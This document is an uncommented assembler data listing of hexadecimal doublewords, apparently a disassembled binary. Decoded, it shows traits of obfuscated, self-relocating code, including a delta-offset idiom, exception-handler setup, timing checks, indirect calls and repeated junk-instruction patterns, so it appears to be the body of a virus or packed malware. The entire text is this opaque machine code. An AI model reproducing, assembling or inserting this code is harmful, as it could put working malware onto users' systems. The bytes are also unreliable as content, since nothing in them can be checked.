		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 25FE57C3h, 7FA5C74Eh, 136394Eh, 1D14C1BDh, 62B5FF06h
		dd 0E90620A3h, 0Eh, 51652842h, 0FE220B24h, 0EAB0344Ah
		dd 95FF3468h, 61D1A95h,	29318509h, 0BD83061Dh, 61D2C71h
		dd 18840F00h, 0F000000h, 0E950D8BFh, 7,	9131C54h, 89C19056h
		dd 7CBF2434h, 0FF342FE8h, 20A362B5h, 0FF14B706h, 1D09AD95h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0BF0F5645h, 0B5FF5BDBh, 620A362h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D0C35343h, 0F761405h
		dd 688h, 619D2300h, 0FF061D16h,	1D2A7195h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 9D89E8C7h, 61D157Dh,	3EDBD83h, 0F02061Dh, 4684h, 2830F00h
		dd 8B000000h, 49858BFEh, 66061D2Fh, 0C6C43ABBh,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 620329C3h, 8166602Dh, 0FC005EFh, 58Ah, 6584B800h, 0C76103B3h
		dd 1D00D585h, 6, 0FAB70F00h, 0FFF446E9h, 0DE9FFh, 0EF9F0000h
		dd 1B18CE6Fh, 0E42156A8h, 0E91C6F2Dh, 0Ch, 0FCA6EA0Eh
		dd 6F4DE913h, 5C6DF03Ch, 0BF0FC18Bh, 21858DDFh,	80061D04h
		dd 505052DBh, 48BF6652h, 5A310F8Ah, 24048958h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7EC35040h, 39EAE3A8h
		dd 0DE9A3CAh, 77000000h, 0C67EE41Ch, 51686D84h,	0C1C92AD1h
		dd 0C781006Ah, 4DEE0204h, 0BD8B006Ah, 61D1BADh,	5308858Dh
		dd 0E9600621h, 0Fh, 7BEC6C01h, 1E448AE1h, 1E4DDE83h, 6638202Ah
		dd 1146C681h, 5C08361h,	2496BF50h, 48931C9h, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0FAA8AF51h, 0F1BD8BDAh, 6A061D1Bh, 6ADCB700h, 0BDF9BF00h
		dd 95FF5013h, 61D2A39h,	8D8DFE8Bh, 6209535h, 0BE3ABF66h
		dd 9D8BD1FFh, 61D3035h,	31C1BD83h, 0F01061Dh, 0A385h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 232FC9D0h, 0C4325F54h, 26AD88Ah, 10E9h, 81133400h, 0C49E4115h
		dd 764E929Ch, 0FF4786ABh, 0F98B9041h, 0F98B6650h, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0C0DCC150h, 0B89D22F8h, 985313Eh, 0F061D1Ah,	95FFFAB7h
		dd 61D1569h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	8BC35040h, 0E0895315h, 72A7D01Bh, 0BD8BFA8Bh, 61D0905h
		dd 0D0FE9h, 0E800h, 815D0000h, 215312EDh, 1DB3F506h, 59FFEB81h
		dd 858D451Fh, 6208D22h,	9E9h, 0C5AB4B00h, 96799797h, 8589E7AFh
		dd 61D1A89h, 0ABB6650h,	2404898Ah, 0BD59D31h, 0FF64061Dh
		dd 35h,	97BB6600h, 258964D9h, 0
		dd 38D0F53h, 80000000h,	0FF5F1FCFh, 1D1BC185h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 2AA38FA6h, 2D298D89h, 8D31061Dh, 61D094Dh, 6850Fh, 95890000h
		dd 61D1331h, 880FFF6Ah,	6, 297DBD89h, 0B5FF061Dh, 61D1335h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 9EC35040h
		dd 22C15E4Dh, 18F0Fh, 0BFF80000h, 5F30A6AAh, 2CD595FFh
		dd 58E9061Dh, 8B000001h, 1D26A9BDh, 0EDBD8B06h,	0B0061D25h
		dd 14E900h, 0F6AF0000h,	0FE8083E8h, 0C2EB6B18h,	0B1B96020h
		dd 0E9D32E0Dh, 70E6D60Dh, 0E4DABF0Fh, 6880F71h,	89000000h
		dd 1D1D158Dh, 0F613C06h, 11683h, 0CF805000h, 0B60F5FD3h
		dd 6BAF9C8h, 0F000000h,	18Bh, 0C18BFC00h, 66D9B70Fh, 0C11018BFh
		dd 850F04E8h, 6, 3AD9589h, 0F766061Dh, 0FE9E2h,	46C00000h
		dd 902052B7h, 4E63BA2Bh, 49E52995h, 8BC82B19h, 1D2F41BDh
		dd 0E8D18B06h, 7, 4B53415h, 3A79858h, 1D2FB99Dh, 11E95B06h
		dd 23000000h, 1D2F01BDh, 6E906h, 0D000000h, 57922707h
		dd 109858Bh, 8B66061Dh,	7C083F8h, 0BE8h, 423D4B00h, 0A9B39A64h
		dd 0A4F7A934h, 3D18529h, 835F061Dh, 5E800C0h, 0EA000000h
		dd 7960E088h, 13E8h, 0AAB3AD00h, 35682132h, 9A3E780Eh
		dd 0E31BA175h, 274AA3EFh, 8B19D8Bh, 5B5F061Dh, 830FD03Bh
		dd 0Fh,	18A99D8Bh, 3CE9061Dh, 66000000h, 8BD5B3BBh, 1D2B898Dh
		dd 68D0F06h, 31000000h,	1D251DBDh, 1E18306h, 1D840Fh, 0A5830000h
		dd 61D2B89h, 0ED9D8BFEh, 89061D15h, 1D010995h, 8D79BB06h
		dd 0E97160h, 8D000000h,	20D709B5h, 0CB816606h, 6A9A8Dh
		dd 0CE8h, 0C168BD00h, 4E8DE684h, 7CAFE59Fh, 0D9D8B9Bh
		dd 5F061D1Ch, 120995FFh, 6A061Dh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 417ADEC3h, 60565295h
		dd 30C18589h, 8166061Dh, 6148E5C0h, 995B95Bh, 83F50000h
		dd 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8531F5C3h, 61D01DDh, 71BD8BFCh, 0B8061D32h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0DCC35040h
		dd 0DFBB6612h, 258D8987h, 2B061D1Ch, 55006AD2h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8B66D8D8h
		dd 0C233ADF9h, 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 8521190Eh, 8DE7521Ch, 46BF6645h, 0E8D98AAAh,	7, 6CEA4C2Bh
		dd 0F3D580Fh, 0D5BD9B7h, 88h, 3C18D09h,	958B061Dh, 61D20D1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 4CC35747h
		dd 39036E15h, 8BF9B991h, 1D331D8Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0A9379AB0h
		dd 513BA480h, 5BF552A2h, 14A9BD8Bh, 8B50061Dh, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0F88B66FCh, 3131BD83h
		dd 0F00061Dh, 6484h, 7074BB00h,	0B87C6Ch, 89000000h, 1D2D559Dh
		dd 898D8D06h, 6A061D4Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0EB68C356h,	8B66BCA9h
		dd 8F0F60FEh, 5, 479CCEBAh, 0E1FF6105h,	0BE8h, 5F51CE00h
		dd 5CC9EF29h, 94A8F99Eh, 29899D8Bh, 895F061Dh, 1D1A81BDh
		dd 0F9BD8306h, 61D2Bh, 3B2840Fh, 9D8B0000h, 61D1B79h, 2BF9BD83h
		dd 0F01061Dh, 3BA84h, 82D38100h, 833E7CD9h, 1D2BF9BDh
		dd 860F0306h, 371h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 33C35545h, 0C9806004h, 58F0F15h, 0BE000000h
		dd 60D664BFh, 6A6061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 9E8CCC3h, 8BAF1B6Dh, 1D1529BDh
		dd 0D98C6606h, 6F67E381h, 0E1804006h, 55006A04h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 5A21B460h, 840FC90Ah, 0EFh, 2F6D8D89h, 858B061Dh, 61D20E1h
		dd 33DBB70Fh, 1D1B9985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0BE9585A0h, 8950187Ch
		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 4DEA2FC3h, 8C0F6172h, 6, 30D19501h, 9E9061Dh
		dd 0CE000000h, 0B7A34AB7h, 9A06C209h, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0E045FCC3h, 6F77DC68h, 0FE9FFh, 0CD570000h, 5DF18ECEh
		dd 42E3C0ADh, 9AA9619Ah, 24048106h, 0AF8C23h, 314595FFh
		dd 0BD8B061Dh, 61D0965h, 0A3628589h, 6A0620h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0C95086C3h
		dd 0FE8B5F56h, 186E9h, 8BFB8B00h, 20A35A85h, 0D1952906h
		dd 0C7061D03h, 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0C68FA362h, 0A989CF81h
		dd 0B58B3C53h, 620A35Eh, 0F5186B3h, 385h, 0DBBF0F00h, 7D858B5Bh
		dd 89061D14h, 1D03C98Dh, 80068906h, 858BF2C3h, 61D20E1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0CC35545h
		dd 0A62018FDh, 8B6D40Ah, 5D9D8B2Dh, 89061D1Dh, 96F90446h
		dd 0E850EBB7h, 7, 0E29EB7B2h, 60583849h, 52505957h, 585A310Fh
		dd 29965B61h, 1D3129B5h, 5AB5FF06h, 6A0620A3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0F6A7C356h, 880F5770h, 0
		dd 453B685Bh, 0DF8BD128h, 0C4240481h, 6A2EF6BEh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0F8B2C357h, 858D2F84h, 620A362h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 84C35141h, 0E86BBD60h, 6, 0CA10C71h
		dd 8B6693F1h, 0BF905BFAh, 404C3F87h, 0BF665250h, 905B3F35h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E2C35545h
		dd 0B897909Ch, 66556C58h, 95FFFB8Bh, 61D3145h, 8159D23h
		dd 0FABB061Dh, 6121D82Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0A5C35141h, 0F4B77FDh, 8Ch, 0B19D8B00h
		dd 0C7061D04h, 1D2BF985h, 306h,	0FB8B6600h, 0A362BD83h
		dd 0F000620h, 3084h, 0FA8B5600h, 42E95Bh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 9D0329C3h, 61D1539h,	0B3E38166h, 0C305037h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0DE9h, 0BCA26800h
		dd 75231EE4h, 0ABC025B0h, 8D89C098h, 61D2A09h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 65C35343h, 2E95B529h
		dd 0BD8B061Dh, 61D2AF1h, 2BF9BD83h, 0F03061Dh, 46A85h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0C3FB4873h, 8B34BA42h, 1D30559Dh, 62BD8306h
		dd 620A3h, 435840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 133577C3h, 0CC6673B0h
		dd 0FF826B61h, 20A362B5h, 13E806h, 95080000h, 2A3B8743h
		dd 0C923921Bh, 0D8CF4608h, 2FCEBCACh, 0DBB70F1Eh, 995FF5Fh
		dd 6A061D2Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 5CEEC351h, 0D5850995h,	8B061D02h
		dd 20A356B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 2E5AE966h, 0BBCD0322h, 663E52BEh
		dd 106C7h, 81660001h, 9646CBC7h, 9E9h, 5D6A700h, 8ACC01DAh
		dd 96508541h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	5FC35343h, 0C59948D1h, 2B5778ADh, 2AF780C3h, 8E8h
		dd 0DE59EA00h, 0A693154Bh, 8D9D23CBh, 5B061D2Eh, 0A362B5FFh
		dd 8D0F0620h, 3, 0FFDE8B66h, 1D208195h,	68B0F06h, 8B000000h
		dd 1D063D9Dh, 56B58B06h, 6A0620A3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 479BC350h
		dd 3F91C7BAh, 858B5E65h, 61D0085h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0AEC35040h,	1020D2E9h, 95312078h
		dd 61D0325h, 0C48689h, 0EB810000h, 2A19273Fh, 20D1958Bh
		dd 0EB80061Dh, 4C28385h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 7DC35545h, 205089D7h,	0BE9h, 28705300h
		dd 32749303h, 47711A1Bh, 0B678858Dh, 0E4BF0620h, 1107F64h
		dd 1D2CC9B5h, 0B8868906h, 2B000000h, 1D04919Dh,	6A006A06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 17A9C357h, 0E9860FFAh, 12h, 953F815Dh, 0AA327D20h
		dd 11A0377Bh, 217341B0h, 0B5FF77DFh, 620A362h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 84C35242h, 8589691Dh
		dd 61D2F39h, 156995FFh,	6050061Dh, 0BA66D68Bh, 89618CACh
		dd 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0D9D6B3C3h, 7F0B6ECh, 8B320050h, 0E1BD8BFBh
		dd 0FF061D17h, 20A362B5h, 0CDBD8906h, 0FF061D02h, 1D1A9595h
		dd 0CDBD8B06h, 83061D04h, 1D2C71BDh, 840F0006h,	4Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 12C35040h, 9851711Ch
		dd 8950FC76h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0BD8B1DC3h, 61D0F09h, 122545BBh
		dd 62B5FF57h, 6A0620A3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0BB58C355h,	559AB5C7h
		dd 0E767BF66h, 9AD95FFh, 0F0BF061Dh, 0F5699A8h,	0C84h
		dd 68C0F00h, 0F000000h,	8Eh, 62B5FF00h,	6A0620A3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0FD7EC356h, 64333D02h, 0B70F6235h, 7195FFDEh, 6A061D2Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 575BC350h, 62C19EB4h, 66C8F1B3h, 839B2DBBh
		dd 1D03EDBDh, 840F0206h, 6Ch, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 67C35747h, 2F49858Bh, 6A061Dh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0ED4079C3h, 255699Dh, 58E0F25h, 0BB000000h, 2819ACDAh
		dd 0EE9h, 5ACC3100h, 59251B33h,	0FCBC5AE7h, 0C66B0741h
		dd 0D7810000h, 5A8253FFh, 0D585C7h, 61Dh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 23FAC3C3h, 4995EE71h, 48D781E9h, 0E9592B67h,	0FFFFF39Ch
		dd 22D59D8Bh, 8509061Dh, 61D0F75h, 0B589C18Bh, 61D1A19h
		dd 421858Dh, 9D29061Dh,	61D0441h, 2111BD89h, 5050061Dh
		dd 5E952h, 0A69B0000h, 0FDE0E43h, 48C0F31h, 66000000h
		dd 5A6EA2BBh, 24048958h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 75C35343h, 5E2743F5h,	6DB360BBh, 6AFC006Ah
		dd 0F8B70F00h, 622D858Dh, 6A0621h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 1DB747C3h, 0C0837CAAh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0B70F82A3h, 0FBBF0FFAh, 188B0F90h, 0E8000000h
		dd 0Fh,	0A8DC299Ah, 3E19201h, 4051C91Ah, 6628A355h, 505FF98Bh
		dd 5E8h, 0E3D7C200h, 0AE9A9CBh,	1F000000h, 0CF7E7F15h
		dd 52064A80h, 29905BD9h, 1D1D7D95h, 6A006A06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 13A2C350h, 8D5D1177h, 6840Fh, 0BD890000h, 61D00D1h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 97184C3h,	0BF0FC934h, 3995FFD8h, 6A061D2Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 14A8C356h, 0DAED976Bh, 7006D8D9h,	95358D8Dh
		dd 6A0620h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0B4A762C3h, 0BC2D8BAEh, 599D8B79h, 0FF061D29h
		dd 53006AD1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0FDF483FCh, 834C44F0h, 1D31C1BDh
		dd 850F0106h, 49h, 6ADBBF0Fh, 51006A02h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 8DD79C37h
		dd 5840Fh, 8BF0000h, 5005F512h,	99A9BB66h, 2B240489h, 1D2B259Dh
		dd 6995FF06h, 89061D15h, 1D2A2985h, 0CA8E906h, 0E80000h
		dd 5D000000h, 6237ED81h, 85290621h, 61D319Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 96C35040h, 6632138Fh
		dd 858DD88Bh, 6208D22h,	149129BBh, 800F501Bh, 18h, 10E860h
		dd 48D80000h, 3F93FC26h, 0F9BB9D77h, 0B4EC5763h, 615943DDh
		dd 0E9240489h, 8, 0E543D388h, 7EAC528Bh, 35FF64h, 0BB000000h
		dd 6F652D51h, 258964h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0A6F3C355h
		dd 1E810F2Bh, 60000000h, 11E9h,	0E93CD600h, 64844FC0h
		dd 0E783DD74h, 6CCC8354h, 0BD8BF909h, 61D036Dh,	0C185FF61h
		dd 0E9061D1Bh, 0Bh, 0B0F2ADC7h,	8F324078h, 8BAC087Fh, 0E9FF6AFBh
		dd 8, 0AD23D6ADh, 9A542036h, 86DB5FFh, 6A061Dh,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 496DF7C3h, 95FFBF11h, 61D2CD5h, 11FE9h, 61858900h, 0B0061D03h
		dd 70E6FC00h, 9420BB66h, 0B58971E4h, 61D2619h, 830F613Ch
		dd 100h, 0B60FFA8Bh, 71BD8BC8h,	0BA061D09h, 6, 3826BB66h
		dd 8B60C18Bh, 1D180985h, 0AE906h, 4BEA0000h, 4711A1h, 1319C043h
		dd 4E8C161h, 6820Fh, 0B5890000h, 61D0939h, 31E2F766h, 1D272D95h
		dd 66C82B06h, 8B32AABBh, 0D2BF66D1h, 3E98Eh, 8B660000h
		dd 49858BD9h, 0F5061D16h, 8B07C083h, 1D2CB5BDh,	0C08306h
		dd 3BFEB70Fh, 2B830FD0h, 0F000000h, 1D8Fh, 11E800h, 65330000h
		dd 7EAA07CAh, 0F20ECF4Ch, 7127BC53h, 89C3EBCAh,	1D20F1BDh
		dd 61E95B06h, 0F000000h, 8D8BFFB7h, 61D0531h, 14E9h, 5886D200h
		dd 0A1DF3B7Ah, 0D892AEDDh, 51EE7599h, 0F2645A7Fh, 1E183E1h
		dd 36840Fh, 0BF660000h,	0A583F41Ch, 61D0531h, 359D2BFEh
		dd 89061D03h, 1D164995h, 8B606006h, 1D2C5D9Dh, 0F61F806h
		dd 68Bh, 0FCC38100h, 61033DA4h,	0E925DB80h, 0
		dd 0E28EB58Dh, 0EE90620h, 6C000000h, 0B537F654h, 70EC3325h
		dd 2FF0AE0Bh, 858B6020h, 61D2659h, 200D8D8Bh, 6A61061Dh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 9D8B547Bh, 61D2A01h, 120995FFh, 2FB9061Dh
		dd 29000007h, 1D006D85h, 0FCE18306h, 0FCD98B66h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 9CC35242h, 0B2C7077h
		dd 1D21ED9Dh, 0B806h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0AACAD6C3h, 0D22B6CE3h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0BF666050h, 858B8A62h
		dd 61D0611h, 6A5B61h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0FE8BC5C3h, 0C59D8BF5h, 0D061D1Ah
		dd 88h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah
		dd 0BC35747h, 5B6CD62Ch, 870F8C55h, 0
		dd 20D1958Bh, 0FA8B061Dh, 331D8D8Bh, 8E0F061Dh,	2, 8B50F88Bh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0FD98B66h
		dd 686h, 4D9D3300h, 83061D20h, 1D3131BDh, 840F0006h, 5Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 38C35242h
		dd 0BF66BCF3h, 0B81E0Ch, 51000000h, 8929F381h, 8D5B73B2h
		dd 1D4C898Dh, 6AE1FF06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 766EC352h, 66FC558Bh
		dd 0BD83F88Bh, 61D2BF9h, 2840F00h, 8B000004h, 1D27B5BDh
		dd 0F9BD8306h, 1061D2Bh, 40A840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0C6EAAEC3h
		dd 0DCE0F448h, 0F8F40931h, 81B58957h, 5B061D1Ah, 2BF9BD83h
		dd 0F03061Dh, 39986h, 0DDBD8B00h, 60061D06h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B6C35747h, 9D8BE966h
		dd 61D1FEDh, 5AB6EF81h,	8C6633FBh, 51006AD9h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 98A1E04Fh
		dd 661CD9E6h, 59BD8B67h, 80061D04h, 880F04E1h, 3, 0AF88B66h
		dd 840FC9h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 473DC353h, 8B48A2FCh
		dd 1D20E185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 810FBA93h, 5, 0A9E4B8BFh,	99853303h
		dd 52061D1Bh, 1DB8166h,	8E95B68h, 8C000000h, 0D24B8D65h
		dd 50DA395Ah, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 69E0C357h, 0BD032CB2h
		dd 61D291Dh, 8589006Ah,	61D1511h, 4E8h,	1F03FF00h, 50DA8B00h
		dd 0EE960h, 98DC0000h, 0AD04281Bh, 0F195C641h, 20E6C1BAh
		dd 24448B61h, 203ABB04h, 8B005Dh, 4489D88Bh, 8B660424h
		dd 9D8B58F9h, 61D1C05h,	314595FFh, 0CB81061Dh, 23A0D306h
		dd 0A3628589h, 0B5890620h, 61D1C25h, 9318D31h, 0D4E9061Dh
		dd 0F000001h, 28Ah, 8BBAB700h, 20A35A85h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 0D16E5324h, 6B3A1929h, 0C7E94Dh, 18h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 22C35747h, 0D1195ED5h
		dd 8B66CBA2h, 5EB58BD8h, 6A0620A3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0EF2AC351h
		dd 5961AA80h, 8D89C05Bh, 61D2BE5h, 147D858Bh, 8166061Dh
		dd 8918A2C7h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0FE2F2E91h, 8BEDEFCDh, 1D20E185h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 8B225239h, 1D1FBDBDh, 4468906h, 5E996F9h
		dd 96000000h, 3C593800h, 0DA8B6650h, 41858996h,	0FF061D29h
		dd 20A35AB5h, 0FD8D2906h, 68061D05h, 0CDAD009Ah, 35BDBB60h
		dd 52504C28h, 11E8h, 8B1A3500h,	0A516DD59h, 78C25358h
		dd 0E56EDFC2h, 0F5BFCC8h, 61585A31h, 65240481h,	81327203h
		dd 261DF0EBh, 0BE83Dh, 7D230000h, 80585CC3h, 0E1F3CBBDh
		dd 0E9816092h, 32CAB439h, 21358589h, 5F61061Dh,	0A362858Dh
		dd 9D8B0620h, 61D30F5h,	5055E780h, 89F98B66h, 6A2404h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BD8B67C3h, 61D01C1h, 314595FFh, 6A061Dh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0D6D5EAC3h
		dd 0EE9601Bh, 0DB000000h, 35D0B911h, 0A740B06h,	0CE16D42Ah
		dd 6161F861h, 85C7DE8Bh, 61D2BF9h, 3, 0F9958956h, 5F061D2Ch
		dd 0A362BD83h, 0F000620h, 3984h, 759D2B00h, 0E9061D01h
		dd 49h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h
		dd 9FC35343h, 0D9BF0F12h, 8B0F50B3h, 6,	265BD89h, 3050061Dh
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 89DE8BC0h, 1D2C058Dh, 0F9BD8306h, 3061D2Bh, 421850Fh
		dd 830F0000h, 6, 8A1BD33h, 0B531061Dh, 61D1CE9h, 0A362BD83h
		dd 0F000620h, 40284h, 7EBF6600h, 62B5FFCAh, 6A0620A3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FA2C357h, 148Eh,	0FE900h, 0BAB50000h, 5EA2C24Dh
		dd 9ADFC48h, 992E7378h,	995FFF3h, 6A061D2Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 2F0BC351h, 19834F15h, 6840Fh, 9D890000h, 61D1A91h, 2AF19D2Bh
		dd 810F061Dh, 2, 0B58BDF8Bh, 620A356h, 25659589h, 6C7061Dh
		dd 10001h, 0BB665096h, 3968AE2h, 1D2291BDh, 6840F06h, 31000000h
		dd 1D10A585h, 62B5FF06h, 800620A3h, 95FFBCDFh, 61D2081h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 82C35747h
		dd 0BD04B873h, 0FCCB6827h, 56B58BC6h, 8B0620A3h, 1D29BDBDh
		dd 85858B06h, 0E9061D00h, 13h, 0FABCD83Fh, 0FBC1A946h
		dd 0A3E1326Ah, 0A58629D4h, 0E89DF208h, 0Bh, 0D059949Ch
		dd 0BE10A15h, 89561CA9h, 1D30C185h, 86895B06h, 0C4h, 16B99589h
		dd 958B061Dh, 61D20D1h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 4AC35242h, 9D2B390Dh,	0F941C47h, 684h
		dd 0E9BD8B00h, 83061D20h, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h
